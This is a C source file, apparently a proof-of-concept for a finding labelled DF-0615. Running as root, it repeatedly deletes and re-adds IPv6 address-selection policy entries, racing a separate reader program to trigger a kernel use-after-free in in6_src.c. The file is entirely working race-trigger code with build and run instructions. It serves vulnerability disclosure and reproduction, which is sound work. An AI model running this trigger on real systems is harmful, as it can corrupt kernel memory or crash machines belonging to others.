DF-0615 / mutator.c
/* DF-0615 PoC: mutator.c — root, concurrent add+delete churn loop. * * Maintains NENT distinct policy entries in addrsel_policytab and constantly * churns them: delete entry[i] then re-add it. delete_addrsel_policyent() * (sys/netinet6/in6_src.c:763) does TAILQ_REMOVE + kfree(pol) at lines * 779-780. While a concurrent reader (reader.c) holds a pointer to entry[i], * this delete frees it; the reader resumes and reads freed memory (UAF). * * Runs on netisr0 (in6.c:456 lwkt_domsg(netisr_cpuport(0),...)), concurrently * with the reader's user thread on another CPU. * * Build: cc -O2 -o mutator mutator.c * Run: ./mutator (as root) */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <netinet6/in6_var.h> #ifndef NENT #define NENT 64 /* must match reader.c */ #endif int main(int argc, char **argv) { int runtime = (argc > 1) ? atoi(argv[1]) : 0; /* 0 = forever */ int s = socket(AF_INET6, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } struct in6_addrpolicy pol[NENT]; memset(pol, 0, sizeof(pol)); /* Populate: NENT distinct prefixes 2001:XX00::/24, label=i. */ for (int i = 0; i < NENT; i++) { pol[i].addr.sin6_family = AF_INET6; pol[i].addr.sin6_len = sizeof(pol[i].addr); pol[i].addr.sin6_addr.s6_addr[0] = 0x20; pol[i].addr.sin6_addr.s6_addr[1] = 0x01; pol[i].addr.sin6_addr.s6_addr[2] = (i & 0xff); pol[i].addrmask.sin6_family = AF_INET6; pol[i].addrmask.sin6_len = sizeof(pol[i].addrmask); pol[i].addrmask.sin6_addr.s6_addr[0] = 0xff; pol[i].addrmask.sin6_addr.s6_addr[1] = 0xff; pol[i].addrmask.sin6_addr.s6_addr[2] = 0xff; pol[i].preced = 40 + i; pol[i].label = i; } /* Initial population: add all NENT entries. */ for (int i = 0; i < NENT; i++) { if (ioctl(s, SIOCAADDRCTL_POLICY, &pol[i]) != 0) perror("initial add"); } fprintf(stderr, "[mutator] populated %d entries\n", NENT); /* Churn: rotate delete + re-add so entries are constantly freed/realloc'd. */ unsigned long cyc = 0; time_t end = runtime ? (time(NULL) + runtime) : 0; for (;;) { for (int i = 0; i < NENT; i++) { ioctl(s, SIOCDADDRCTL_POLICY, &pol[i]); /* delete -> free, races reader */ ioctl(s, SIOCAADDRCTL_POLICY, &pol[i]); /* re-add */ } cyc++; if ((cyc & 0x3ff) == 0) fprintf(stderr, "[mutator] %lu churn cycles\n", cyc); if (runtime && time(NULL) >= end) break; } /* Cleanup: delete all entries. */ for (int i = 0; i < NENT; i++) ioctl(s, SIOCDADDRCTL_POLICY, &pol[i]); fprintf(stderr, "[mutator] done, %lu cycles\n", cyc); return 0; } |